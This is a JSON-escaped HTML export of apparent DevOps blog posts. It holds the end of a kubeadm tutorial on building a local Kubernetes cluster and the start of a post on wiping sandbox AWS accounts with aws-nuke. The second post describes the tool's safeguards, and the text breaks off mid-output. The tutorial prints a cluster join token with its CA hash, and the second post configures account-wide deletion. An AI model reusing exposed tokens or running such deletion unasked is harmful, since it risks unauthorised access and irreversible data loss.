1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esystemctl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erestart\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esystemd-modules-load\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esysctl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--system\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eupdate\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u0026#x26;\u0026#x26; \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eupgrade\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-y\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einstall\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtainerd.io=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.6\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.8-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-y\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecat\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e sudo tee /etc/containerd/config.toml\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003eversion = 2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e[plugins]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e  [plugins.\"io.containerd.grpc.v1.cri\"]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e   [plugins.\"io.containerd.grpc.v1.cri\".containerd]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e      [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e        [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes.runc]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e          runtime_type = \"io.containerd.runc.v2\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e          [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes.runc.options]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e            SystemdCgroup = true\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esystemctl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erestart\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtainerd.service\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einstall\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubeadm=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.23\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.5-00\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubelet=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.23\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.5-00\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.23\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.5-00\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-y\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eFrom there we should be ready to join the cluster.   When we ran \u003ccode\u003ekubeadm init\u003c/code\u003e previously it\nprinted a join command out that we could use but I’m going to show you how to do it if you\nwere coming back later and no longer had that token.\u003c/p\u003e\n\u003cp\u003eBack on the \u003cem\u003econtroplane\u003c/em\u003e node run:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubeadm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etoken\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecreate\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--print-join-command\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekubeadm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejoin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e192.168\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.64.7:6443\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--token\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewxs197.cco6mjj9ricvu8ov\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--discovery-token-ca-cert-hash\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esha256:bd01c065240fa76f30a02ecb70a8cea6e329c9678994d4da1f6ccac7694b97fb\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow copy that command and run it with \u003ccode\u003esudo\u003c/code\u003e on the worker:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubeadm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejoin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e192.168\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.64.7:6443\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--token\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewxs197.cco6mjj9ricvu8ov\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--discovery-token-ca-cert-hash\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esha256:bd01c065240fa76f30a02ecb70a8cea6e329c9678994d4da1f6ccac7694b97fb\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eAfter this completes it’ll take a minute or two for everything to be synced up but if you go\nback to the master node you should have 2 ready nodes now:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enodes\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eROLES\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrol-plane,master\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e46\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003em\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.23.5\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eworker\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                 \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e79\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.23.5\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch2\u003eAccessing the cluster outside of the VMs!\u003c/h2\u003e\n\u003cp\u003eNow the final part is to get the \u003ccode\u003eadmin.conf\u003c/code\u003e as a kubeconfig on your machine so you can control\nit from outside of the cluster.   To do this we can use scp\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003emultipass\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etransfer\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrolplane:/home/ubuntu/.kube/config\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elocal.config\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNormally kubernetes configuration is in ~/.kube/config but I like to maint a separate file for\neach cluster and then I set the \u003ccode\u003eKUBECONFIG\u003c/code\u003e env var to access it.\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eexport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eKUBECONFIG=local.config\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enodes\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eROLES\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrol-plane,master\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e56\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003em\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.23.5\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eworker\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                 \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003em\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.23.5\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","category":"Kubernetes","date":"2022-04-16T19:00:00-05:00","tags":["Linux","Kubernetes","DevOps","SRE"],"title":"Running a kubernetes cluster locally with kubeadm"},{"id":["2023","nuking_aws_account"],"path":"2023/nuking_aws_account","contentHtml":"\u003cp\u003eWhen you're an SRE/DevOps engineer you'll end up making AWS accounts and\ncreate a lot of cruft in your sandbox and development accounts. AWS\ndoes not make it easy to clear these up but there is a tool called\n\u003ca href=\"https://github.com/rebuy-de/aws-nuke\"\u003eaws-nuke\u003c/a\u003e that will do it for you!\u003c/p\u003e\n\u003ch1\u003eSafe Guards\u003c/h1\u003e\n\u003cp\u003eaws-nuke has a few safeguards in place to prevent inadvertent data loss.\nThe first of which is it requires you to alias the targetted account. I\nlike to put \u003ccode\u003enuke\u003c/code\u003e in the alias to make it clear.\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eiam\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecreate-account-alias\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--account-alias\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enuke-\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaccoun\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003et\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThe second safe-guard is the config takes a key called \u003ccode\u003eaccount-blocklist\u003c/code\u003e\nthat will guarantee nuke will not run against it no matter what.\u003c/p\u003e\n\u003cp\u003eThe final safety switch it has is it will not take any action by default,\nit will only execute a dry-run.   You need to run the CLI with\n\u003ccode\u003e--no-dry-run\u003c/code\u003e if you want it to take action.\u003c/p\u003e\n\u003ch1\u003eGetting Started\u003c/h1\u003e\n\u003cp\u003eYou configure \u003ccode\u003eaws-nuke\u003c/code\u003e with YAML, so the first step is to define that:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eregions:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e  - us-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e  - global\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eaccount-blocklist:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e  - \"888888888888\" # production\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eaccounts:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e  \"777777777777\": {} # nuke-\u0026#x3C;account\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis will prevent us from nuking our production account and target all resources\nin the account we actually want to nuke.\u003c/p\u003e\n\u003cp\u003eYou might want to have it nuke \u003cem\u003eALL REGIONS\u003c/em\u003e in AWS since you may not know which\nregions resources are deployed in.   To do this you can query the regions from AWS:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eec2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edescribe-regions\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--all-regions\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--query\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Regions[*].RegionName\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--output\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etext\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003exargs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-n\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esort\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eaf-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eap-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eap-northeast-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eap-northeast-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: 